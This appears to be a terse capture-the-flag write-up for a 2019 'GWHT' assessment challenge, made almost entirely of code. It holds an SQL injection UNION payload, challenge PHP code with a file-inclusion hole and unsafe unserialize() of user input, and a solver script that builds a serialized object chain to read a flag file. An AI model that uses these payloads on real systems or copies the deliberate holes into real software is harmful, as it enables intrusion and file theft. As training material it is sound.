2019GWHT考核题wp

no=-1\&name= union select val from gwhts limit 1,1 #

$file = $_GET['file'];
$text = $_GET['text'];
if (!!$text || file_get_contents($text,'r') === "hello ctf"){
    echo "hi!"."<br>";
    include ($file);  //backdoor.php
}else{
    echo "you are not my friend!";
    exit();
}

<?php
class Flag{
    public $obj;
    public function __construct(){
        $this->obj = new Safe;
    }
    public function __toString(){
        if (isset($this->obj)){
            return $this->obj->read();
        }else{
            return "go away hacker";
        }
    }
}
class Secret{ //fllllllag.php
    public $file;
    public function read(){
            return file_get_contents($this->file);
    }
}
class Safe{
    public function read(){
        return "it's very safe!";
    }
}
$secret = $_GET['secret'];
if (isset($secret)){
    echo unserialize($secret);
}else{
    echo "your hat is too black!";
}

<?php
class Flag{
    public $obj;
    public function __construct(){
        $this->obj = new Secret;
    }
    public function __toString(){
        if (isset($this->obj)){
            return $this->obj->read();
        }else{
            return "go away hacker";
        }
    }
}
class Secret{ //fllllllag.php
    public $file = "fllllllag.php" ;
    public function read(){
            return file_get_contents($this->file);
    }
}
$flag = new Flag();
echo serialize($flag);